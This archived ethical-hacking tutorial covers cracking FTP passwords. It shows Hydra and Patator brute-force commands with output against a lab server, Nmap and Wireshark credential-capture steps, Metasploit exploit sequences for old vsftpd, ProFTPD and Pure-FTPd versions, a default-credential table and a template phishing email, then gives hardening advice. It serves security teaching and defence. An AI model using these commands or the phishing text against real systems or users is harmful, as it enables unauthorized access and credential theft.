The Wayback Machine - https://web.archive.org/web/20260129064926/https://www.geeksforgeeks.org/ethical-hacking/how-to-crack-ftp-passwords/

How to Crack FTP Passwords?

Last Updated : 23 Jul, 2025

The primary purpose of an FTP server is to allow users to upload and download files. An FTP server is a computer that has a file transfer protocol (FTP) address and is dedicated to receiving an FTP connection. FTP is a protocol used to transfer files via the internet between a server (sender) and a client (receiver).

FTP passwords cracking scenario
Crack FTP Password

An FTP server is a computer that offers files available for download via an FTP protocol, and it is a common solution used to facilitate remote data sharing between computers. However weak FTP credentials pose a cybersecurity threat, making it a prime target for attackers who aim to crack FTP passwords using various hacking techniques.

What is FTP?

FTP is used to enable the file exchange over a network or internet, it is standard communication protocol. It uses the port 21 by default and uses either active or passive mode for data transmission.

FTP Security Vulnerabilities

  • Weak Passwords: Many administrators use the default, weak, or easily guessable passwords like admin, test123 etc.
  • Plaintext Credentials: If we do packet sniffing and if FTP is not properly configured than we see the usernames and passwords are sent in plain text in packets.
  • Anonymous Access: If the servers are misconfigured that they allow the anonymous login in the server which allow the attackers to unauthorized access.
  • Outdated Software: Attackers also bypass the authentication if the FTP servers have older versions and the vulnerability is present on that versions
  • Brute-Force Attacks: Attackers also use the dictionary attacks and brute-force techniques to guess FTP credentials.

Brute-Force and Dictionary Attacks

In the brute force attacks we repeatedly guessing the usernames and passwords until the correct combination found. In the Dictionary Attacks attacker use the most common password list or the most common username list which they have.

Method 1: Crack Using Hydra

Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, FTP, HTTP, HTTPS, SMB, several databases, and much more.

Step 1: Create a word list, two word list for cracking username and password.

Step 2: Run the following Command:

 hydra -L user.txt -P pass.txt [target ip] FTP
  • -L: denotes path for username list
  • -P: denotes path for the password list

Once the commands are executed, it will start applying the dictionary attack and so you will have the right username and password in no time. As you can observe that we had successfully grabbed the FTP username as msfadmin and password is msfadmin.

Cracking Using Hydra

Step 3: Run the following command:

hydra -h
 

Method Two: Crack Using Patator

Patator is a multipurpose brute-forcer. It is quite useful for making brute force attack on many ports such as FTP, HTTP, SMB etc.

Step 1: Run this Command:

patator FTP_login host=192.168.29.77 
user=FILE0 0=user.txt password=FILE1 1=pass.txt
Cracking Using Patator
Note:     FTP_login: denotes the FTP brute forcing
          host= : for target ip/FTP server ip
          user=FILE 0= path of wordlist for cracking username
          password=FILE1 1= path of wordlist for cracking password

Output:

┌──(kaliã‰ŋDESKTOP-SK08UEQ)-
[/mnt/c/Users/RAJ/Desktop/javascript]

└─$ patator FTP_login host=192.168.29.77 
user=FILE0 0=user.txt password=FILE1 1=pass.txt

23:46:17 patator    INFO - Starting Patator 0.9 
(https://github.com/lanjelot/patator) 
with python-3.9.10 at 2022-07-08 23:46 IST

23:46:17 patator    INFO -
23:46:17 patator    INFO - code  size    time | candidate           
|   num | mesg
23:46:17 patator    INFO - ----------------------------------
23:46:20 patator    INFO - 530   16     3.058 | bjgjhg:bjgjhg                      
|     6 | Login incorrect.
23:46:20 patator    INFO - 230   17     0.004 | msfadmin:msfadmin                 
|    16 | Login successful.
23:46:20 patator    INFO - 530   16     3.056 | bjgjhg:fhjfh                       
|     7 | Login incorrect.
23:46:20 patator    INFO - 530   16     3.052 | bjgjhg:msfadmin                    
|     8 | Login incorrect.
23:46:20 patator    INFO - 530   16     3.052 | fhjfh:fdgd                         
|     9 | Login incorrect.
23:46:20 patator    INFO - 530   16     3.049 | fhjfh:bjgjhg                       
|    10 | Login incorrect.
23:46:21 patator    INFO - 530   16     2.853 | fdgd:fdgd                          
|     1 | Login incorrect.
23:46:21 patator    INFO - 530   16     2.850 | fdgd:bjgjhg                        
|     2 | Login incorrect.
23:46:21 patator    INFO - 530   16     2.858 | fdgd:fhjfh                         
|     3 | Login incorrect.
23:46:21 patator    INFO - 530   16     2.857 | fdgd:msfadmin                      
|     4 | Login incorrect.
23:46:21 patator    INFO - 530   16     2.863 | bjgjhg:fdgd                        
|     5 | Login incorrect.
23:46:24 patator    INFO - 530   16     2.928 | fhjfh:fhjfh                       
|    11 | Login incorrect.
23:46:24 patator    INFO - 530   16     2.929 | fhjfh:msfadmin                     
|    12 | Login incorrect.
23:46:24 patator    INFO - 530   16     2.935 | msfadmin:fdgd                      
|    13 | Login incorrect.
23:46:24 patator    INFO - 530   16     2.935 | msfadmin:bjgjhg                    
|    14 | Login incorrect.
23:46:24 patator    INFO - 530   16     2.925 | msfadmin:fhjfh                     
|    15 | Login incorrect.
23:46:24 patator    INFO - Hits/Done/Skip/Fail/Size:
 16/16/0/0/9, Avg: 2 r/s, Time: 0h 0m 7s
Note: Here is username msfadmin 
and password msfadmin is Login successfully

Exploiting Default or Weak Credentials

When we set up the FTP servers they come with default credentials or configured with default credentials so it is easy to attacker crack them. Attacker make the credential lists that are publicly available and they try to attempt unauthorized access. Some of the attackers also use the Shodan, Censys, and ExploitDB because these credentials are often stored in databases of these websites which making them easily accessible for attacker

Why Default Credentials are Dangerous:

  • After deployment many system administrators forget to change default usernames and passwords
  • Default credentials can be brute-forced quickly since they follow predictable patterns.
  • Attackers also use the Shodan to find misconfigured FTP servers.

Common FTP Default Credentials

FTP ServerDefault UsernameDefault Password
vsftpdanonymousanonymous
ProFTPDftpftp123
Pure-FTPdadminadmin
FileZillaadminadmin123
TitanFTPftpuserftpuser

Testing for Anonymous Login Using Nmap

Attackers often check if anonymous login is enabled by scanning an FTP server with Nmap:

nmap -p 21 --script ftp-anon Target_IP
  • -p 21 → Scans port 21, the default FTP port.
  • --script ftp-anon → Uses an Nmap script to detect if anonymous access is allowed.

Packet Sniffing (MITM Attack on FTP)

An attacker can intercept and capture login credentials using a Man-in-the-Middle (MITM) attack if an FTP connection is unencrypted or the packets come are in form of plain text. Hackers listen to the traffic and extract usernames and passwords because FTP does not encrypt data by default we need to configure it. We use the SSL/TLS encryption because it adds a layer of security by encrypting the control and data channels.

Tools Used for Packet Sniffing:

ToolFunctionality
WiresharkCaptures FTP traffic & filters credentials
EttercapLaunches MITM attacks and manipulates data
tcpdumpCLI-based packet analyzer for network monitoring

Wireshark Example: Capturing FTP Login Credentials

  • Open Wireshark
  • Start capturing packets on the target network.
  • Apply a filter to view FTP login attempts:
ftp.request.command == "USER" || ftp.request.command == "PASS"
  • Look for plaintext usernames and passwords in the captured packets.

Exploiting FTP Server Vulnerabilities

If the FTP servers are older software versions or misconfigured servers than the attackers exploit known FTP vulnerabilities so that they can the gain the unauthorized access

Examples of Vulnerable FTP Versions

FTP VersionVulnerabilityImpact
vsftpd 2.3.4Backdoor vulnerabilityAllows unauthenticated access
ProFTPD 1.3.3cRoot privilege escalationGrants full system control
Pure-FTPd 1.0.21Remote command executionAttacker can execute arbitrary commands

Example: Assume you do some testing on the website and you see the open FTP server after that you also find that which version of FTP server is run for eg. ( vsftpd 2.3.4) than you exploit the vsftpd 2.3.4 with Metasploit:

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST  target_ip
set RPORT 21
exploit
  • Loads the vsftpd backdoor exploit.
  • Sets the target IP (RHOST) and FTP port (RPORT).
  • Executes the attack, granting unauthorized shell access.

Exploiting ProFTPD with Metasploit

use exploit/unix/ftp/proftpd_modcopy_exec
set RHOST target_ip
exploit

Exploiting Pure-FTPd for Remote Code Execution

use exploit/unix/ftp/pureftpd_1_0_21
set RHOST target_ip
exploit

Social Engineering and Phishing Attacks

Instead of directly cracking FTP passwords, attackers use the Social Engineering to trick users into revealing their credentials through. In this attacker not directly cracking the FTP passwords instead they use some tricks the users so that they can revel their credentials or we play with human psychology like we use the attacks to manipulate human behavior by leveraging psychological principles.

Common Social Engineering Techniques

1. Phishing Emails:

  • We requesting the FTP login credentials by making the fake IT support emails.
  • In the emails the malicious links is inserted of fake FTP login portals

2. Fake FTP Login Pages

  • After that mails sent to the victims attackers create fake FTP login pages that mimic real ones.
  • After reaching the login portal than the users enter credentials which is legitimated credentials than they attacked can captured and stored the credentials.

3. Credential Harvesting Malware

  • Attackers also install the keyloggers or trojans on the target machine.
  • Every FTP login attempt is recorded and sent to the attacker.

Example of a Fake Phishing Email. This is only test email example

Subject: Urgent: Required FTP Security Update

Dear [User],
We hope this message finds you well. As part of our ongoing efforts to ensure the highest level of security for your data, we have identified a critical update that needs to be applied to your FTP server immediately.
To maintain uninterrupted access and protect your information, please log in using the secure link below to complete the update:
[Fake FTP Link]

Important:
 
Failure to apply this update within the next 24 hours may result in restricted access to your FTP server.
If you have any questions or need assistance, please don’t hesitate to contact our support team at [Support Email/Phone Number].

Thank you for your prompt attention to this matter.

Best Regards,
IT Security Team
[Company Name]

How to Prevent FTP Password Attacks?

To protect against FTP password cracking, follow these best security practices:

1. Use Strong Passwords and Multi-Factor Authentication (MFA)

  • Use the strong passwords like the long, complex passwords with numbers, special characters, and uppercase/lowercase letters which contain all of them. According to current security standards a 12-character password with a mix of upper/lowercase letters, numbers, and symbols could take several decades or even centuries to crack using brute force
  • Also Implement MFA so that attacker also need the second step Authentication before login.

2. Disable Anonymous and Weak User Accounts

  • Always disable anonymous login (ftp-anon) so that attacker not use the various scripts to login in the FTP servers.
  • Always remove the default accounts credentials or change their passwords.

3. Use Encrypted FTP Alternatives

  • SFTP (SSH File Transfer Protocol) → Uses SSH encryption.
  • FTPS (FTP Secure) → Uses TLS/SSL encryption.

4. Restrict FTP Access with Firewalls

  • Configure firewall rules to allow FTP access only from trusted IPs.
  • Use iptables to block brute-force attacks:
iptables -A INPUT -p tcp --dport 21 -m recent --set --name FTP_ATTACK --rsource
iptables -A INPUT -p tcp --dport 21 -m recent --update --seconds 60 --hitcount 5 --rttl --name FTP_ATTACK --rsource -j DROP

5. Monitor FTP Logs for Suspicious Activity

  • For repeated login attempts check /var/log/vsftpd.log
  • Use Fail2Ban to block repeated failed logins.

Also read:

Conclusion

Brute-force assaults, exploitation of loopholes, packet sniffing, and even phishing are some of the ways an FTP password can be cracked. However, ethical hackers and security specialists should work towards securing FTP servers by implementing the use of strong passwords, disabling anonymous access, and employing encrypted counterparts like SFTP and FTPS. Cybersecurity threats can be mitigated by using multi-factor identification systems, restricting IP addresses with firewalls, and carefully examining logs.

Comment
Article Tags:

Explore